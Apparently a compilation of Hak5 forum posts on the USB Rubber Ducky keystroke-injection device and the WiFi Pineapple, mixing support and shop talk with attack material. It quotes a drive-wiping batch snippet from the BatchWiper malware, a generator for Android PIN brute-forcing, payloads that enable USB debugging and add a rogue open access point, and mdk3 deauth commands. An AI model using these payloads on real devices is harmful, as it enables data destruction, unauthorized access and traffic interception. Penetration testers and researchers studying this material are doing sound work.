Darren Kitchen

If your ducky isn't working properly it could be fixed simply with a firmware flash. Failing that we'll always exchange 'em - just contact the hakshop. Oh and be sure to put a DELAY 2000 at the top of any windows payloads with the default firmware. Windows needs a second to recognize the HID before keystroke injection.

The Iranian CERT has posted notification on a piece of destructive malware based on simple batch files. AlienVault Labs has a writeup here: http://labs.alienvault.com/labs/index.php/2012/batchwiper-just-another-wiping-malware/ They posit that this could be spread by USB. I'm thinking it would be incredibly simple to adapt this into ducky script. Not saying you should go formatting drives, just an interesting observation. I mean it literally is dead simple, look at this code snippet: sleep for 3000 IF EXIST d:\ del “d:\*.*” /q /s /f IF EXIST d:\ Chkdsk d: IF EXIST e:\ del “e:\*.*” /q /s /f IF EXIST e:\ Chkdsk e: IF EXIST f:\ del “f:\*.*” /q /s /f IF EXIST f:\ Chkdsk f: IF EXIST g:\ del “g:\*.*” /q /s /f IF EXIST g:\ Chkdsk g: IF EXIST h:\ del “h:\*.*” /q /s /f IF EXIST h:\ Chkdsk h: IF EXIST i:\ del “i:\*.*” /q /s /f IF EXIST i:\ Chkdsk i: [/CODE] What are your thoughts on this?

We couple the MK4 with a 4GB SanDisk Cruzer Fit as, oddly, it requires a lot less power than the 16GB.

I love it! Just to preserve this the XML is listed below: <?xml version="1.0"?> <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"> <name>Pineapple</name> <SSIDConfig> <SSID> <hex>50696E656170706C65</hex> <name>Pineapple</name> </SSID> <nonBroadcast>false</nonBroadcast> </SSIDConfig> <connectionType>ESS</connectionType> <connectionMode>auto</connectionMode> <MSM> <security> <authEncryption> <authentication>open</authentication> <encryption>none</encryption> <useOneX>false</useOneX> </authEncryption> </security> </MSM> </WLANProfile> [/CODE]

No, this doesn't require anything special on the Android side. All of these android payloads have been tested on a stock Galaxy Nexus running the latest 4.2.1 firmware. I have tested many other devices and they have all worked well with the ducky. It seems Android loved HID as much as any other computer. For that matter, iPhone should be the same - just requires the right 30-pin to USB adapter.

I'll be demoing this on next weeks Hak5 episode but figured I'd post it here first and get some feedback. Thus far it works perfectly on a Galaxy Nexus running the latest Android 4.2.1. I've also tested it with a Galaxy Note 2 running 4.2.1 and it ran as expected. I'm very surprised that with the stock Android OS and recommended settings of setting a PIN code this was possible. I had expected the phone to reset or format after 100 attempts or something like that. With a 4 digit PIN and the default of 5 tries followed by a 30 second timeout you're looking at a best case scenario of exhausting the key space in about 16.6 hours. Not bad all things considered. If you're the NSA or the Mafia that's totally reasonable, I'd say. Thankfully the USB Rubber Ducky never gets tired, bored or has to pee. Rather than post the nearly 600K duckyscript I'll just post the bit of bash I used to create it. You could modify it to do 5 digit, but that would take 166 hours. 10 digit would take 1902.2 years. ;-) echo DELAY 5000 > android_brute-force_0000-9999.txt; echo {0000..9999} | xargs -n 1 echo STRING | sed '0~5 s/$/\nWAIT/g' | sed '0~1 s/$/\nDELAY 1000\nENTER\nENTER/g' | sed 's/WAIT/DELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER/g' >> android_brute-force_0000-9999.txt [/CODE]

Over the years this forum has seen a lot of action in various categories. To get a view of what's going on click "View New Content" at the top, or follow this link: http://forums.hak5.org/index.php?app=core&module=search&do=viewNewContent&search_app=forums Midnight Snake just posted his POC Composite firmware, which does just this. Alternatively a second USB drive can be plugged in, or both can be plugged into a hub. Initially the project goal was to just be a keyboard. We did a lot of USB Mass Storage hacking with the USB Switchblade and from that security vendors, and even OS vendors *cough* Microsoft *cough* wised up and patched the hole. There isn't much you can't do with a keyboard that you could do with storage. The reverse shell injection payload is a great example of this.

There is an OTG type adapter for the iPhone but all of them I've tested haven't worked. If someone finds one that does please let me know. From what I understand the iPhone will accept a USB keyboard, but it has to be an apple keyboard. Simply a matter of cloning the VID/HID from the keyboard dock. No biggie.

You are able to change the Vendor and Product ID to look like a Dell, Apple, Logitech, whatever... Check out the wiki entry here: http://code.google.com/p/ducky-decode/wiki/Guide_Change_USB_VID_PID Someone could ban the keyboard type but that's like banning the file name "evilvirus.exe" and calling the job done. At the root the USB Rubber Ducky is taking advantage of inherent trust - the convenience that makes computers "user friendly". It's really a can of worms.

This is brilliant. I can't wait to test it out. Kudos!

A lot has happened since we first introduced the USB Rubber Ducky hardware a little over a year ago. We excelled in some areas, fell flat in others, and over time with the help of the community come close to where the project should be. First, a little background. The USB Rubber Ducky concept is quite simple - violate the inherent trust the computer has in the human. If you can gain physical access to a machine, even for just a few seconds, you should be able to inject a payload at extreme speed using just keystrokes. This is done with relative ease given the fact that all computers, since the beginning, have trusted keyboards as they represent human input. The USB HID class allows us to mimic a keyboard while injecting preprogrammed keystrokes. The project started as a proof of concept using a development board called the USB Teensy. This small Arduinio clone could perform a HID attack, as demonstrated on early episodes of Hak5. Darren shared his USB Rubber Ducky prototype off to IronGeek at Shmoocon 2010 and a month later the cat was out of the bag. IronGeek recreated the attack using the Teensy and demo'ed it, crediting Hak5, at OuterZone in March. That month the USB Rubber Ducky prototype was demoed on Hak5 and a development team was kickstarted by sending 100 boards to developers around the world. Based on feedback from these developers we came to a few conclusions. In order for the USB Rubber Ducky to be a success we needed to make it simple. Rather than program and flash a device using C code, we developed a scripting language which could be written in standard text files. A cross-platform program would convert the text file into a binary to be moved onto the root of a micro SD card. With the micro SD card inserted into the USB Rubber Ducky the HID attack was ready for deployment. To further the enhance the USB Rubber Ducky as a covert HID attack tool it was fitted with a generic USB flash drive case. The custom hardware USB Rubber Ducky was born. The first generation USB Rubber Ducky wasn't without some serious issues to overcome. The small batch PCB assembly was at such a high cost that the initial retail release was $80 - three times that of an adequately equipped teensy. The latch holding the microSD card could inadvertently spring open in use. The firmware was only able to attack Windows targets, and the ducky script encoder only supported US keyboards. The later was a huge oversight by the US-centric development team. To make matters worse, licensing issues encumbered the timely open sourcing of the firmware. What had started as a modest hardware project turned out to be a nightmare. Developers were unhappy with the lack of source code, the high price and the compatibility problems. The ducky team tried several firmware fixes only to fall flat and waste time. Eventually the licensing restrictions were overcome and the source code was produced on github. Since then the promise of community development has shown its power. One developer in particular, Midnight Snake, took on two of the most challenging issues -- cross platform compatibility and international language support. During this time Hak5 worked on several hardware revisions of the USB Rubber Ducky, replacing the faulty microSD card latch with a slot and finding ways to lower the costs of production. So far there have been four hardware revisions. The first (black) debuted at $80 while between the second (red), third (white) and currently fourth (green) the hardware has finally come down to half the cost as it was at launch. Furthermore several enhancements have been made to the way payloads are generated. At first a wiki and forum were setup to share payloads. Several have been shining examples of the USB Rubber Ducky's power - like the four line wget & execute from PowerShell by Mubix, or the Windows 7 backdoor and 15 second reverse shell. To simplify payload writing process several of the most popular payloads have been adapted to the online generator at usbrubberducky.com. Simply fill in the blanks, click generate and receive a bin file ready for use on the USB Rubber Ducky. Android hacking has also debuted. Following the introduction of Kos' (kos.io) P2P-ADB attack, and the subsequent Micro-to-Micro OTG or "Kos Cable" we made him, we're excited to publish a few useful Android payloads. The first enables developer mode and USB debugging, perfect for use with Kos' P2P-ADB attacks, while another simply adds an open WiFi access point to the device so Android can more easily be friends with the WiFi Pineapple. A tremendous amount of progress has been made over the last year and it's thanks in most part to the USB Rubber Ducky community who has continued to support the platform. With a lot of the bugs worked out, costs reduced and process made even more simple we're very excited to see what's in store for the next generation of the USB Rubber Ducky.

This Payload adds an open WiFi Access Point called IveBeenPwned to Android. Tested with a Galaxy Nexus running Android 4.2.1. Perfect in conjunction with the WiFi Pineapple. REM Add WiFi Access Point to Android - Perfect in conjunction with WiFi Pineapple REM Tested with Android 4.2.1 on Galaxy Nexus REM Darren Kitchen REM REM Go to home screen DELAY 100 ESCAPE ESCAPE ESCAPE ESCAPE ESCAPE DELAY 500 REM Pull up system settings CTRL p DELAY 800 REM Open WiFi Settings HOME HOME ENTER DELAY 500 REM Add AP DOWN DELAY 100 END END END DELAY 100 DOWN DELAY 100 ENTER DELAY 500 REM Give AP Name STRING IveBeenPwned DELAY 100 DOWN DOWN DOWN DELAY 100 ENTER DELAY 100 REM Go back to home screen DELAY 100 ESCAPE ESCAPE ESCAPE ESCAPE ESCAPE [/CODE]

This payload enables Developer Options and USB Debugging on Android. It has been tested with a Galaxy Nexus running 4.2.1. I've updated it since 4.2 made changes so that Developer Options are no longer listed in System Settings. To enable them you must choose About Phone then tap 3 times on Build Number. Then Developer Options will be available in the usual spot. This payload assumes that Developer Options have not been enabled and does the Build Number taps. If Developer Options have already been enabled it does not affect the script - it simply displays "No need, you are already a developer" You'll likely need an OTG adapter to execute this payload on an Android phone with the USB Rubber Ducky (included with orders since Oct. 2012, now part of the Deluxe Pack) REM Enable Developer Options / USB Debugging on Android REM Tested with Android 4.2.1 on Galaxy Nexus REM Darren Kitchen REM REM Go to home screen DELAY 100 ESCAPE ESCAPE ESCAPE ESCAPE ESCAPE DELAY 500 REM Pull up system settings CTRL p DELAY 800 REM Open About Phone END END ENTER DELAY 400 END DELAY 200 REM Enable Developer Options ENTER ENTER ENTER ENTER ENTER ENTER ENTER DELAY 200 REM Open Developer Options ESCAPE DELAY 200 END END UP DELAY 200 REM Enable Developer Options ENTER DELAY 400 RIGHT RIGHT RIGHT DELAY 200 ENTER DELAY 500 RIGHT DELAY 100 ENTER DELAY 400 REM Enable USB Debugging DOWN DOWN DOWN DOWN DOWN ENTER DELAY 500 RIGHT DELAY 100 ENTER DELAY 200 REM Go back to home screen ESCAPE ESCAPE ESCAPE [/CODE]

I understand where your heart is and I want you to know we're doing everything in our power to keep the WiFi Pineapple affordable. From day one that has been our goal - to make affordable hacking devices and enable us to continue to make more fun hacking projects. For perspective, the Mark I was $160 bespoke when it first came out. Since then the WiFi Pineapple has only decreased in price while increased in value (software, included fixings like the color manual, cables, etc) For international orders, we're excited about three things. First, since November 15 there is no longer a restriction on lithium battery packs by USPS. This means that WiFi Pineapples with Pineapple Juice packs can ship anywhere in the world for as little as $13. Second, our rates with UPS are about to be adjusted (we're told sometime in December) to be more comparable to that of USPS. That means quick shipping that clears customs without hassle will be affordable. Third, and most importantly, we're close to opening a distribution center in London. That will enable affordable and fast shipping throughout Europe. With all of that let's be clear that Jasager - the phenomenal firmware run by the WiFi Pineapple - is open source software and from my understanding of the license there's nothing preventing you from flashing it to an AP121U and seslling it. *However* "WiFi Pineapple" is a registered trademark of Hak5, LLC and so selling it as a pineapple would be in violation. The concern is that if someone sold a "WiFi Pineapple" and did a crappy job of it (not saying you would) then in the customers mind the WiFi Pineapple, and thus Hak5, is crappy. So in essence I'd like to protect the brand we've spent years building. As others have pointed out and I'll reiterate, the WiFi Pineapple is nearly the primary reason Hak5 exists in its current form. It has only been through the support of this great community that we've been able to grow the show -- a service we feel strengthens the community -- and grow the WiFi Pineapple as a platform. We took some amazing leaps forward with the WiFi Pineapple early this year, and with you're help we will continue to do so in the year to come :). We'll make a bigger announcement when the London distribution center goes online. Cheers!

Things get interesting when the electronics get small. The TP-Link WR703N is a good example of that. Razzlerock, just a word of caution. The 703N isn't certified outside of China (FCC, CE, ROHS, UL), and housing inside an electrical enclosure like this breaks all sorts of codes, opening one up to a ton of liability. I've considered it as a platform in the past but it's just too risky to base a product off of. That said this looks like a really cool hack and I encourage anyone adventurous enough to go out and make one. If you've been by our tables at Defcon, Derbycon, or Shmoocon you'll see some similar implementation examples some clients of ours have put together. It's truly amazing the amount of hidden in plain sight enclosures one can find walking the isles of your local home improvement store.

Happy to hear pineapples are making their way across the pond quickly. We really strive for excellence at the HakShop. One of these days we'll have an EU distributor proper but for now I'm happy to say we'll accommodate just about any request - just email us :)

Thanks for your concern, it is a legitimate question as there are several similar implementation of the boards popularized by ALFA Networks. Shannon summed it up well. The AWUS036NHA in the Hakshop.com is in fact a genuine ALFA product. As with the AWUS036H before it, we requested what is called "unbranded". Our specification is for matte black as given our relationship with the manufacturer ALFA has been happy to oblige. What's ironic to me are the so called knock-offs sporting all of the attributes you describe, hologram and all, as compared to these per our "stealth" specification - one would think they were the other way around. We once log ago bought a batch of supposed "Alfas" from a "verified reseller" only to find they were counterfeit. They were recycled and from then on we only dealt directly with ALFA networks. If you require please email shop@hak5.org and we can provide documentation. As an OEM myself I take this matter very seriously. D

I hope this isn't the case but we did accidentally have a unit go out recently that wasn't flashed with Jasager properly -- it was still running the stock openwrt from the factory. Assign an IP of 192.168.2.2 and try pinging 192.168.2.1. If it responds, then it just needs some manual flash loving: telnet to 192.168.2.1, as a root password with "passwd", then scp over the latest upgrade.bin to /tmp "scp upgrade.bin root@192.168.2.1:/tmp/" and perform the upgrade on the pineapple with "sysupgrade -v -n /tmp/upgrade.bin". I really hope that's not the case but if it is, 1) the above will get you situated and 2) please contact me directly at darren at hak5 dot org.

You have to be careful with the rp-sma connector as Barry points out twisting it will cause the short i-pex pigtail to rotate. The pineapple board has the ipex connector hot-glued on to prevent unintended disconnection. I didn't realize there was a performance difference with replacement cables. It seems as the very short rg-178 included should do the trick, but I'd be interested in hearing the specs on Ioozr's cable. Perhaps we can have changes made at the factory.

IIRC USB Spec is 500mAh, but as we've seen with devices in the last few years that has creeped up considerably (2.1 for the iPad!). This of course is good for us as it means availability of inexpensive high output usb batteries. Some older laptops may not be able to provide higher than 500mAh from the USB port, but as I've seen most now do. YMMV

I'm in favor of 1471...It's classic :)

Seems we're having similar experiences. mdk3 reports that its channel hopping, but in my experience it isn't seeing the devices on other channels. Both nexus aren't getting seen. Wish I had saved my output. I find it interesting the beacon mode channel hops but deauth won't. The best I can figure is that beacons are sent to broadcast FF:FF:FF:FF:FF:FF with the channel set as a parameter within the packet, and not actually sent on said channel. Wireshark supports this. If that's the case then perhaps channel hopping deauth while running Karma on radio0 isn't possible.

What is your pineapple doing when it runs out of CPU and reboots? Ultimately the pineapple should be able to "do the thing" every time, reliably. I am intrigued by your Pi setup. Wonder if it would all fit in a Pelican Micro 1050.

Ya got me! I've been experimenting with MDK3 as part of a yet-to-be released module. During my research I found that mdk3 could be a decent alternative to aireplay-ng since it has built in white and blacklisting, channel hopping, etc. The most exciting finding however, was regarding interfaces and karma... I'm able to do frame injection while channel hopping on mon.wlan0 while running karma on wlan0 -- at the same time. I've tested and clients connected to the internet through the pineapple via karma aren't interrupted by the beacon injection I'm doing....even while it channel hops...and new clients are able to connect as well. Perhaps this has to do with the way beacon frames work as opposed to deauth frames, but it led me to experiment with the later. I'm able to run mdk3 mon.wlan0 d -w whitelist.txt (containing the pineapple's wlan0 mac) and it shows that it's deauthing clients nearby, however in my tests it was unable to successfully deauth the galaxy nexus and nexus 7 devices I had connected to a legit AP nearby. My hope was that we could have a built in way to do whitelisted/blacklisted deauthing on a single radio -- no need for an AWUS036NHA connected -- but so far that isn't the case. Is anyone elses findings showing otherwise? mdk3 can do some pretty rad things :) edit: deauth mode findings: unless you specify -c # mdk3 will channel hop 1-14. In the US you may want to specify -c 1,2,3,4,5,6,7,8,9,10,11

If your duck is white try putting a DELAY 1000 at the beginning of your payload. The firmware on the white duck begins typing sometimes before Windows recognizes it. You can also try pressing the button to replay the payload.